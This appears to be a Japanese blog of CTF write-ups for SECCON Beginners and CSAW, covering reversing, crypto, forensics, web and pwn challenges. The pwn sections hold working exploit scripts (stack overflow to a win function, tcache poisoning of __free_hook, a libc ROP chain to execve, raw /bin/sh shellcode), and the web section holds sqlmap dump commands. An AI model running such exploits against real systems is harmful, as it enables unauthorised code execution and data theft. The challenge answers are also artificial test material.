cipher.init(Cipher.DECRYPT_MODE, secretKey, gCMParameterSpec); arrayOfByte = cipher.doFinal(arrayOfByte, 12, arrayOfByte.length - 12); String s = new String(arrayOfByte); System.out.println(s); // -> '1pt_3verywhere}' } catch (Exception e) { System.out.println(e); } } }
残りの前半部分を探索。jar変換のときについでにできたapkのリソースをctf
でgrepしてみると怪しいスクリプトっぽいのを発見。React関連?のリソースぽい。
grep -r ctf ./siblangs-d/ ./siblangs-d/assets/index.android.bundle:__d(function(g,r,i,a,m,e,d){var t=r(d[0]),o=r(d[1]);Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var l=o(r(d[2])),n=o(r(d[3])),c=o(r(d[4])),u=o(r(d[5])),s=o(r(d[6])),f=t(r(d[7])),h=r(d[8]),y=r(d[9]),p=o(r(d[10]));function V(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}var v=(function(t){(0,c.default)(v,t);var o,y=(o=v,function(){var t,l=(0,s.default)(o);if(V()){var n=(0,s.default)(this).constructor;t=Reflect.construct(l,arguments,n)}else t=l.apply(this,arguments);return(0,u.default)(this,t)});function v(){var t;(0,l.default)(this,v);for(var o=arguments.length,n=new Array(o),c=0;c<o;c++)n[c]=arguments[c];return(t=y.call.apply(y,[this].concat(n))).state={flagVal:"ctf4b{",xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},t.handleFlagChange=function(o){t.setState({flagVal:o})},t.onPressValidateFirstHalf=function(){if("ios"===h.Platform.OS){for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;n<t.state.xored.length;n++)if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))return void h.Alert.alert("Validation A Failed","Try again...");h.Alert.alert("Validation A Succeeded","Great! Have you checked the other one?")}else h.Alert.alert("Sorry!","Run this app on iOS to validate! Or you can try the other one :)")},t.onPressValidateLastHalf=function(){"android"===h.Platform.OS?p.default.validate(t.state.flagVal,function(t){t?h.Alert.alert("Validation B Succeeded","Great! Have you checked the other one?"):h.Alert.alert("Validation B Failed","Learn once, write anywhere ... anywhere?")}):h.Alert.alert("Sorry!","Run this app on Android to validate! Or you can try the other one :)")},t}return(0,n.default)(v,[{key:"render",value:function(){return f.default.createElement(f.default.Fragment,null,f.default.createElement(h.StatusBar,{barStyle:"dark-content"}),f.default.createElement(h.SafeAreaView,null,f.default.createElement(h.ScrollView,{contentInsetAdjustmentBehavior:"automatic",style:S.scrollView},f.default.createElement(h.View,{style:S.body},f.default.createElement(h.View,{style:S.sectionContainer},f.default.createElement(h.Text,{style:S.sectionTitle},"Hello!"),f.default.createElement(h.Text,{style:S.sectionDescription},"Put your FLAG into the box below:"),f.default.createElement(h.TextInput,{style:S.textInput,value:this.state.flagVal,onChangeText:this.handleFlagChange}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateFirstHalf,title:"Validate A",color:"#a44593"}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateLastHalf,title:"Validate B",color:"#a44593"}))))))}}]),v})(f.Component),S=h.StyleSheet.create({textInput:{backgroundColor:y.Colors.dark,color:y.Colors.white},btn:{padding:18},scrollView:{backgroundColor:y.Colors.lighter},engine:{position:'absolute',right:0},body:{backgroundColor:y.Colors.white},sectionContainer:{marginTop:32,paddingHorizontal:24},sectionTitle:{fontSize:24,fontWeight:'600',color:y.Colors.black},sectionDescription:{marginTop:8,fontSize:18,fontWeight:'400',color:y.Colors.dark},highlight:{fontWeight:'700'},footer:{color:y.Colors.dark,fontSize:12,fontWeight:'600',padding:4,paddingRight:12,textAlign:'right'}}),A=v;e.default=A},390,[9,1,26,27,37,39,36,56,2,391,399]);
怪しい箇所の抜き出し
flagVal:"ctf4b{", xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]}, t.handleFlagChange=function(o){ t.setState({flagVal:o})}, t.onPressValidateFirstHalf=function(){ if("ios"===h.Platform.OS){ for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0; n<t.state.xored.length;n++) if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10)) return void h.Alert.alert("Validation A Failed","Try again...");
flag文字列とAKeyForios10.3
という文字列をxorした結果がxoredの値になるので、ASCIIコードの印字可能範囲で探索。
# coding: utf-8 -*- flagVal = 'ctf4b{' xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27] ios = 'AKeyForios10.3' ans = '' for i in range(len(flagVal), len(xored)): print(i) for f in range(0x20, 0x7e): t = f ^ ord(ios[i % len(ios)]) if t == xored[i]: print(i, t, chr(f)) ans += chr(f) break print(flagVal + ans) # ctf4b{ctf4b{jav4_and_j4va5cr
後半部分と合わせて完了。
FLAG: ctf4b{jav4_and_j4va5cr1pt_3verywhere}
Pwn
Beginner's Stack (134pt)
Let's learn how to abuse stack overflow!
nc bs.quals.beginners.seccon.jp 9001
Stack BoFしてwinという関数を呼び出したら勝ちらしい。
実行してみた。Stackの情報まで出してくれる。優しみ。Stack BoFでreturnアドレスを書き換える。
$ ./chall Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007ffde30d9d30 | 0x0000000000000000 | <-- buf +--------------------+ 0x00007ffde30d9d38 | 0x0000000000000000 | +--------------------+ 0x00007ffde30d9d40 | 0x0000000000400ad0 | +--------------------+ 0x00007ffde30d9d48 | 0x00007f0183db5190 | +--------------------+ 0x00007ffde30d9d50 | 0x00007ffde30d9d60 | <-- saved rbp (vuln) +--------------------+ 0x00007ffde30d9d58 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007ffde30d9d60 | 0x0000000000000000 | <-- saved rbp (main) +--------------------+ 0x00007ffde30d9d68 | 0x00007f0183ba80b3 | <-- return address (main) +--------------------+ 0x00007ffde30d9d70 | 0x00007f0183db3620 | +--------------------+ 0x00007ffde30d9d78 | 0x00007ffde30d9e58 | +--------------------+ Input:
いきなりwinに飛ぶとRSPのアラインメントがダメだと教えてくれる。優しみ。system関数の呼び出しで16byte alignされていないとsystem関数内でSEGVになるらしい。
適当なreturn命令があるところに1度飛ばして、そのあとwinへ飛ぶようにstackを調整したらshellが取れた。
from pwn import * srv = 'bs.quals.beginners.seccon.jp' port = 9001 bin = ELF('./chall') conn = remote(srv, port) t = conn.recvuntil(b'Input:') print(t) buf = b'A' * 32 buf += b'\x00' * 8 buf += b'\xf0\x07\x40\x00' + b'\x00' * 4 # returnだけしてくる buf += b'\x61\x08\x40\x00' + b'\x00' * 4 # winのアドレス print(buf) conn.sendline(buf) print('sendline') conn.interactive() conn.close() ''' Congratulations! $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$ '''
FLAG: ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
Beginner's Heap (293pt)
Let's learn how to abuse heap overflow!
nc bh.quals.beginners.seccon.jp 9002
ファイルの提供はなし。ncでつなぐと1~6のコマンドを送信できるプログラムにつながる。heapの状況とtcacheの状況も確認できる。優しみ。
以下の操作でフラグが取れた。
- B = malloc
- free(B) // tcacheにつなげる
- read(0, A, 0x80) // 元Bのチャンクの領域を上書きして、tcache -> 元B -> __free_hook 4. の状態をつくる
- B = malloc // tcacheからBのチャンクを取得。tcacheは__free_hook のアドレスだけ残る。
- read(0, A, 0x80) // Bのチャンクのサイズ情報をtcacheにつながらない大きなサイズへと上書き
- free(B) // tcacheにつながらない。残りは __free_hookのアドレス
- B = malloc // free_hookのアドレスがくる。read()で __free_hookのアドレスが指す情報にwinのアドレスを上書き
- B = malloc // __free_hookが呼び出されるタイミングで、winが呼ばれて、flagゲット
# -*- coding: utf-8 -*- """ $ nc bh.quals.beginners.seccon.jp 9002 Let's learn heap overflow today You have a chunk which is vulnerable to Heap Overflow (chunk A) A = malloc(0x18); Also you can allocate and free a chunk which doesn't have overflow (chunk B) You have the following important information: <__free_hook>: 0x7f8ce802f8e8 <win>: 0x555afa892465 Call <win> function and you'll get the flag. 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint > """ import sys import re import time from pwn import * def send_cmd(conn, cmd, buf=b''): print('Send Command:', cmd) time.sleep(1) conn.sendline(cmd) if cmd == b'1' or cmd == b'2': time.sleep(1) conn.sendline(buf) t = conn.recvuntil(b'> ') if cmd == b'4' or cmd == b'5': print(t.decode('utf-8')) def main(): srv = 'bs.quals.beginners.seccon.jp' port = 9002 conn = remote(srv, port) t = conn.recvuntil(b'\n> ') print(t) # get address of __free_hook, win free_hook_addr = re.search(b'(?<=\<__free_hook\>: )0x[0-9a-f]+', t)[0] win_addr = re.search(b'(?<=\<win\>: )0x[0-9a-f]+', t)[0] print('free_hook', free_hook_addr) print('win', win_addr) # 2. B = malloc, read send_cmd(conn, b'2', b'A'*8) # 3. free(B), B = NULL send_cmd(conn, b'3') # 1. read(0, A, 0x80) buf = b'A' * 0x18 buf += b'\x21' + b'\x00' * 7 buf += p64(int(free_hook_addr, 16)) send_cmd(conn, b'1', buf) send_cmd(conn, b'5') send_cmd(conn, b'4') # 2. B = malloc, read send_cmd(conn, b'2', b'A'*8) # 1. read(0, A, 0x80) # for free chunk B to not tcache area buf = b'A' * 0x18 buf += b'\x01' + b'\x01' + b'\x00' * 6 send_cmd(conn, b'1', buf) send_cmd(conn, b'4') # 3. free(B), B = NULL send_cmd(conn, b'3') # 2. B = malloc, read # overwrite __free_hook with win buf = p64(int(win_addr, 16)) send_cmd(conn, b'2', buf) send_cmd(conn, b'5') send_cmd(conn, b'4') # 2. B = malloc, read send_cmd(conn, b'2', buf) #send_cmd(conn, b'3') conn.interactive() conn.close() main() ''' Congratulations! ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs} '''
FLAG: ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
以上!
CSAW CTF'19 Quals write-up
2019/09/14 05:00-2019/09/16 05:00 (48H) に開催されたCSAW CTFのWrite-upです。チーム名: whitecatsで出場して、101pt. 388位でした。
Misc
MCGRIDDLEV2 (1pt)
flag{W3lcome_7o_CSAW_QUALS_2019!}
ウェルカムフラグ
Flag: flag{W3lcome_7o_CSAW_QUALS_2019!}
Rev
BELEAF (50pt)
tree sounds are best listened to by https://binary.ninja/demo or ghidra
標準入力にフラグを入力する問題。とりあえずIDAでmainを眺める。
0x912
でフラグの文字列長の検査。0x20より長いらしい。
その後、1文字ずつsub_7FA
の関数に渡して、チェック。戻り値(%rax
)とunk_2014E0+idx
の値が同じなら正解でループ継続。文字数分わかればOK。
sub_7FA
の中では、0x201020
にあるフラグ文字列のパーツっぽいデータ(8byte毎)と引数で渡された1文字を比較し、一致した文字のインデックスを呼び出し元に返却する。
なので、unk_2014E0
のindex値の位置にあるフラグ文字列のパーツを順に取り出して繋げれば、フラグが得られる。
ソルバー
with open('beleaf', 'rb') as f: data = f.read() flag_parts = data[0x1020:0x10e0:4] corr_idx = data[0x14e0:0x15e8:8] flag = '' for i in corr_idx: flag += chr(flag_parts[i]) print(flag) # flag{we_beleaf_in_your_re_future}
Flag: flag{we_beleaf_in_your_re_future}
Pwn
baby_boi (50pt)
Welcome to pwn. nc pwn.chal.csaw.io 1005
FILES
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv[]) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); char buf[32]; printf("Hello!\n"); printf("Here I am: %p\n", printf); gets(buf); }
ソースコードは、gets関数を使ったバッファオーバーフローの脆弱性があるので、Stack BoF で攻撃する。また、printf
関数のアドレスも教えてもらえるので、libcのベースアドレスを計算して、ミニROPでexecve
関数を呼び出して、シェルを取った。execve
のパーツは、与えられたlibcからよさげな↓を探して利用。
e569f: 48 8d 3d f4 e7 0c 00 lea 0xce7f4(%rip),%rdi # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186> e56a6: 4c 89 e2 mov %r12,%rdx e56a9: 4c 89 f6 mov %r14,%rsi e56ac: e8 7f f7 ff ff callq e4e30 <execve@@GLIBC_2.2.5>
飛ばした先のexecve
の引数の準備で、第2引数と第3引数に0を代入しておく必要があった。アセンブリ上は、%r12
、%r14
がそれぞれ引数に代入されるので、ROPする直前で値が0でなかった%r12
にPOP命令でゼロを代入した。
- 第2引数:
%rsi
←%r14
- 第3引数:
%rdx
←%r12
ソルバーはこんな感じに。
from pwn import * srv = 'pwn.chal.csaw.io' #srv = 'localhost' port = 1005 bin = ELF('./baby_boi') libc = ELF('./libc-2.27.so') conn = remote(srv, port) t = conn.recvline_contains((b'Here I am:')) print(t) ''' $ readelf -s ./libc-2.27.so |grep printf : 627: 0000000000064e80 195 FUNC GLOBAL DEFAULT 13 printf@@GLIBC_2.2.5 : ''' printf_addr = int(t[t.index(b'0x'):], 16) libc_base = printf_addr - libc.symbols[b'printf'] print(hex(printf_addr)) ''' 0x00023992: pop r12 ; ret ; (203 found) ''' pop_r12 = 0x23992 ''' e569f: 48 8d 3d f4 e7 0c 00 lea 0xce7f4(%rip),%rdi # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186> e56a6: 4c 89 e2 mov %r12,%rdx e56a9: 4c 89 f6 mov %r14,%rsi e56ac: e8 7f f7 ff ff callq e4e30 <execve@@GLIBC_2.2.5> ''' buf = b'A' * 32 buf += b'b' * 8 buf += p64(libc_base + pop_r12, endianness='little') buf += p64(0, endianness='little') # for pop r12 buf += p64(libc_base + 0xe569f, endianness='little') conn.sendline(buf) conn.interactive() conn.close()
実行結果
$ python3 solve.py [*] '/media/sf_onedrive_ctf/CSAW_2019/pwn/baby_boi_50/baby_boi' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] '/media/sf_onedrive_ctf/CSAW_2019/pwn/baby_boi_50/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to pwn.chal.csaw.io on port 1005: Done b'Here I am: 0x7f7e9378ae80' 0x7f7e9378ae80 0x7f7e93775440 0x7f7e938d9e9a b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbbbbb\x92\x99t\x93~\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9f\xb6\x80\x93~\x7f\x00\x00ffffffff\x9a\x9e\x8d\x93~\x7f\x00\x00' [*] Switching to interactive mode $ ls baby_boi flag.txt $ cat flag.txt flag{baby_boi_dodooo_doo_doo_dooo}
Flag: flag{baby_boi_dodooo_doo_doo_dooo}
おまけ (解けなかった問題
Pwn gotmilk (50pt)
GlobalOffsetTable milk? nc pwn.chal.csaw.io 1004
format string攻撃ができる脆弱性があり、脆弱性のあるprintf
呼び出しの後に呼び出されているlibmylib.so
のlose
関数に関するGOT(Global Offset Table)のアドレスを上書きできればOK。
shortサイズの値を指定のアドレスに書き込める%hn
を使って手元環境ではうまくいっていたが、本番サーバーでは攻撃を送り込んだ直後にサーバー側からFINを投げられて通信が終わってしまいダメだった。。。当日は、ここで断念。。。
解けたチームのWrite-upを見ていたら%hhn
(!?)で1byte書き込んで成功していた。。。%hhn
とかあったのね~。勉強が足りぬ~~。%hn
は書き込みサイズが大きすぎとかで弾かれていたのかな。。。
以上でっす!
SECCON Beginers CTF 2019 write-up
2019/05/25 15:00 - 05/26 15:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して1274pt. 全体77位で個人成績?では61位でした。
MISC
containers
Let's extract files from the container. https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers
ファイルを抽出
# -*- coding: utf-8 -*- import re def main(): with open('./containers', 'rb') as f: data = f.read() cnt, idx = 0, 0 files = [] fb = re.compile(b'FILE.*\.') vld = b'VALIDATOR' tmp = fb.search(data[idx:]) s, e = tmp.start(), tmp.end() idx = e while True: tmp = fb.search(data[idx:]) if tmp: s, e = tmp.start(), tmp.end() files.append((idx, idx+s)) idx += e else: val_idx = re.search(vld, data[idx:]) files.append((idx, idx+val_idx.start())) break cnt += 1 print(cnt, files) cnt = 0 for f in files: s, e = f[0], f[1] d = data[s:e] fname = 'con_' + str(cnt) + '.png' with open(fname, 'wb') as f: f.write(d) cnt += 1 if __name__ == '__main__': main()
抽出できたPNGファイル順番通りに並べればフラグっぽい。
一応、確認
$ echo -n 'ctf4b{e52df60c058746a66e4ac4f34db6fc81}' | sha1sum 3c90b7f38d3c200d8e6312fbea35668bec61d282 -
Flag: ctf4b{e52df60c058746a66e4ac4f34db6fc81}
Dump
Analyze dump and extract the flag!! https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump
DLしたバイナリを見たらpcapっぽかったので、まずは拡張子をpcapにしてWiresharkで開いた。パケットはHTTPパケットだったので、メニューのファイル→オブジェクトをエクスポート→HTTP でHTTPコンテンツを出力した。
HTMLコンテンツの中は8進数みたいな値が並んでいた。
037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133 327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252 164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166 244 010 010 050 315 002 110 023 024 244 012 330 005 351 012 012 322 024 245 011 202 205 242 202 212 337 204 216 242 357 175 336 365 177 336 265 376 337 372 346 072 316 231 275 177 173 237 175 366 331 247 346 070 127 106 126 306 331 315 033 355 056 343 351 353 016 374 227 056 030 014 246 050 057 017 245 074 225 024 025 026 236 060 304 342 373 302 045 247 000 207 302 345 344 025 020 162 012 010 230 022 002 012 203 313 301 345 140 000 024 366 337
WEBページのタイトルを見てみるとWeb Shellとなっているのと、Wiresharkで保存されたファイル名が、webshell.php%3fcmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag.html
になっていたので、やはりhexdumpでflagファイルの中を8進数で表示したものらしい。
ソルバー(HTMLコンテンツから8進数の部分だけ抜き出し、dump.txtとして保存して実行)
with open('dump.txt', 'r') as f: data = f.read() octs = data.split() bytes = map(lambda x: int(x, 8).to_bytes(1, 'little'), octs) with open('dump_data.txt', 'wb') as f: for b in bytes: f.write(b)
tar.gzぽかったので、tarコマンドで回答したらフラグのJPEGがでてきた。
Flag: ctf4b{hexdump_is_very_useful}
Web
Ramen
SQL injectionとかよくわからないので、sqlmapをつかったら出た。
$ sqlmap --tables -u https://ramen.quals.beginners.seccon.jp/?username= $ sqlmap -T flag -- dump -u https://ramen.quals.beginners.seccon.jp/?username=
Flag: ctf4b{a_simple_sql_injection_with_union_select}
Crypto
[warmup] So Tired
最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫! File: so_tired.tar.gz https://score.beginners.seccon.jp/files/7e9eb0636de2cad98b1eee3b667aea6c_so_tired.tar.gz
ファイルをtarコマンドで回答すると、Base64文字列が書いてあるテキストファイルがでてくる。base64デコードするとバイナリがでてくる。fileコマンドで調べてみるとzlibで圧縮されたデータらしい。
$ cat encrypted.txt | base64 -d > d64.txt $ file d64.txt d64.txt: zlib compressed data
試しに解凍してみるとまたbase64文字列がでてきたので、繰り返しだろーなーと思って、以下のソルバーを書いて解いた。
# -*- coding: utf-8 -*- import base64 import zlib def main(): with open('encrypted.txt', 'rb') as f: data = f.read() cnt = 0 tmp = data[:] while True: b64d = base64.b64decode(tmp) zdec = zlib.decompress(b64d) if zdec.find(b'ctf4b') != -1: print(cnt) print(zdec) break tmp = zdec[:] cnt += 1 if __name__ == '__main__': main() # $ python solve.py # 499 # ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
Flag: ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
Reversing
[warmup] Seccompare
https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz
IDAで眺めてみるとstack上にFlagっぽい文字列を用意して、0x4006b9
でコマンドライン引数と比較している。
strcmpされる前のstackを見ればフラグが見えるはずなので、gdb-pedaで適当に0x4006a4
にブレイクポイントを設定して実行。
$ gdb -q --args seccompare ctf4bxxxxxxxxxxx Reading symbols from seccompare...(no debugging symbols found)...done. gdb-peda$ b *0x4006a4 Breakpoint 1 at 0x4006a4 gdb-peda$ r Starting program: /seccompare ctf4bxxxxxxxxxxx [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x400700 (<__libc_csu_init>: push r15) RDX: 0x7fffffffdfd0 --> 0x7fffffffe340 ("CLUTTER_IM_MODULE=xim") RSI: 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...") RDI: 0x2 RBP: 0x7fffffffded0 --> 0x400700 (<__libc_csu_init>: push r15) RSP: 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...") RIP: 0x4006a4 (<main+189>: mov rax,QWORD PTR [rbp-0x40]) R8 : 0x7ffff7dd0d80 --> 0x0 R9 : 0x7ffff7dd0d80 --> 0x0 R10: 0x0 R11: 0x0 R12: 0x400500 (<_start>: xor ebp,ebp) R13: 0x7fffffffdfb0 --> 0x2 R14: 0x0 R15: 0x0 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400698 <main+177>: mov BYTE PTR [rbp-0x16],0x68 0x40069c <main+181>: mov BYTE PTR [rbp-0x15],0x7d 0x4006a0 <main+185>: mov BYTE PTR [rbp-0x14],0x0 => 0x4006a4 <main+189>: mov rax,QWORD PTR [rbp-0x40] 0x4006a8 <main+193>: add rax,0x8 0x4006ac <main+197>: mov rdx,QWORD PTR [rax] 0x4006af <main+200>: lea rax,[rbp-0x30] 0x4006b3 <main+204>: mov rsi,rdx [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...") 0008| 0x7fffffffde98 --> 0x20040074d 0016| 0x7fffffffdea0 ("ctf4b{5tr1ngs_1s_n0t_en0ugh}") 0024| 0x7fffffffdea8 ("r1ngs_1s_n0t_en0ugh}") 0032| 0x7fffffffdeb0 ("_n0t_en0ugh}") 0040| 0x7fffffffdeb8 --> 0x7d686775 ('ugh}') 0048| 0x7fffffffdec0 --> 0x7fffffffdfb0 --> 0x2 0056| 0x7fffffffdec8 --> 0x93dbe948b0632700 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x00000000004006a4 in main ()
Flag: ctf4b{5tr1ngs_1s_n0t_en0ugh}
Leakage
コマンドライン引数に正しいFlag文字列を与えて実行するとcorrect
と出力される実行ファイルみたい。
is_correctという関数でバイナリ内にある難読化したフラグ文字列を1文字ずつconvertという関数内で元に戻している。
始めは慣れていないangrでチャレンジしてみたが、なぜか解けない。gdbでやれば答えがでるのは、わかっているのであきらめてgdbでチマチマ解いた。
is_correct関数の 0x400630
にブレイクポイントを設定して、そのときの$eaxの値がconvertで変換されたフラグの1文字がわかる。あとはそれを繰り返す。
$ cat gdb_cmd start break *0x400630 ignore 2 24 run $ gdb -q -x gdb_cmd --args ./leakage ctf4b{le4k1ng_th3_xxxxxxxxxxxxxxx} : : gdb-peda$ c Continuing. $4 = 0x66 [----------------------------------registers-----------------------------------] RAX: 0x66 ('f') RBX: 0x0 RCX: 0x0 RDX: 0x9 ('\t') RSI: 0x1fabee32 RDI: 0xfc1dbaf2 RBP: 0x7fffffffdee0 --> 0x7fffffffdf00 --> 0x400bc0 (<__libc_csu_init>: push r15) RSP: 0x7fffffffdec0 --> 0x1 RIP: 0x400630 (<is_correct+73>: mov BYTE PTR [rbp-0x5],al) R8 : 0x3ba0b0d7 R9 : 0x7fe82c73 R10: 0x6f47b3e6 R11: 0x9f643160 R12: 0x400500 (<_start>: xor ebp,ebp) R13: 0x7fffffffdfe0 --> 0x2 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400626 <is_correct+63>: movzx eax,al 0x400629 <is_correct+66>: mov edi,eax 0x40062b <is_correct+68>: call 0x4006d0 <convert> => 0x400630 <is_correct+73>: mov BYTE PTR [rbp-0x5],al 0x400633 <is_correct+76>: mov eax,DWORD PTR [rbp-0x4] 0x400636 <is_correct+79>: movsxd rdx,eax 0x400639 <is_correct+82>: mov rax,QWORD PTR [rbp-0x18] 0x40063d <is_correct+86>: add rax,rdx [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdec0 --> 0x1 0008| 0x7fffffffdec8 --> 0x7fffffffe359 ("ctf4b{le4k1ng_th3_", 'x' <repeats 15 times>, "}") 0016| 0x7fffffffded0 --> 0x7ffff7de59a0 (<_dl_fini>: push rbp) 0024| 0x7fffffffded8 --> 0x125f000000 0032| 0x7fffffffdee0 --> 0x7fffffffdf00 --> 0x400bc0 (<__libc_csu_init>: push r15) 0040| 0x7fffffffdee8 --> 0x4006aa (<main+74>: test eax,eax) 0048| 0x7fffffffdef0 --> 0x7fffffffdfe8 --> 0x7fffffffe314 ("/media/sf_onedrive_ctf/SECCON_Beginners_CTF_2019/rev/leakage/leakage") 0056| 0x7fffffffdef8 --> 0x200000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0x0000000000400630 in is_correct () gdb-peda$ q
フラグ文字列がすべてわかるまでひたすら繰り返す。
Flag: ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear Operation
次はangrでうまくいった。
# -*- coding: utf-8 -*- import angr import claripy def main(): key_len = 63 pj = angr.Project('./linear_operation') input = claripy.BVS('input', 8*key_len) init_state = pj.factory.entry_state(args=['./linear_operation']) for b in input.chop(key_len): init_state.add_constraints(b != 0) sm = pj.factory.simgr(init_state) # main sm.explore(find=0x40cf78, avoid=[0x40cf86]) for f in sm.found: print(f.posix.dumps(0)) print(f.posix.dumps(1)) if __name__ == '__main__': main()
$ python3 solve.py WARNING | 2019-05-25 20:04:23,268 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior. WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages. WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | Filling register r15 with 8 unconstrained bytes referenced from 0x40cfb0 (__libc_csu_init+0x0 in linear_operation (0x40cfb0)) WARNING | 2019-05-25 20:04:23,273 | angr.state_plugins.symbolic_memory | Filling register r14 with 8 unconstrained bytes referenced from 0x40cfb2 (__libc_csu_init+0x2 in linear_operation (0x40cfb2)) WARNING | 2019-05-25 20:04:23,277 | angr.state_plugins.symbolic_memory | Filling register r13 with 8 unconstrained bytes referenced from 0x40cfb7 (__libc_csu_init+0x7 in linear_operation (0x40cfb7)) WARNING | 2019-05-25 20:04:23,280 | angr.state_plugins.symbolic_memory | Filling register r12 with 8 unconstrained bytes referenced from 0x40cfb9 (__libc_csu_init+0x9 in linear_operation (0x40cfb9)) WARNING | 2019-05-25 20:04:23,287 | angr.state_plugins.symbolic_memory | Filling register rbx with 8 unconstrained bytes referenced from 0x40cfca (__libc_csu_init+0x1a in linear_operation (0x40cfca)) WARNING | 2019-05-25 20:04:23,378 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x4005b1 (register_tm_clones+0x21 in linear_operation (0x4005b1)) b'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}'
Flag: ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
Pwn
[warmup] shellcoder
shellcodeを標準入力から読み込み、shellcodeに[binsh]が含まれていないかstrchrでチェックし、OKならshellcodeを実行してくれる。
strchrのチェックは\x00
がある位置で終了なので、shellcodeの先頭に影響のない↓のコードを入れておく。shellcode本体は、ももいろテクノロジー - x64でスタックバッファオーバーフローをやってみるから頂いた。
B6 00 mov dh, 0
最終的なソルバー
# -*- coding: utf-8 -*- from pwn import * srv = '153.120.129.186' port = 20000 bin = ELF('./shellcoder') conn = remote(srv, port) conn.recvuntil('Are you shellcoder?\n') buf = b'\xb6\x00\x31\xD2\x52\x48' buf += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73' buf += b'\x68\x50\x48\x89\xe7\x52\x57\x48' buf += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05' conn.sendline(buf) conn.interactive() conn.close()
実行結果
$ python3 solve.py [*] '/media/sf_onedrive_ctf/SECCON_Beginners_CTF_2019/pwn/shellcoder/shellcoder' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 153.120.129.186 on port 20000: Done [*] Switching to interactive mode $ ls flag.txt shellcoder $ cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
Flag: ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
以上!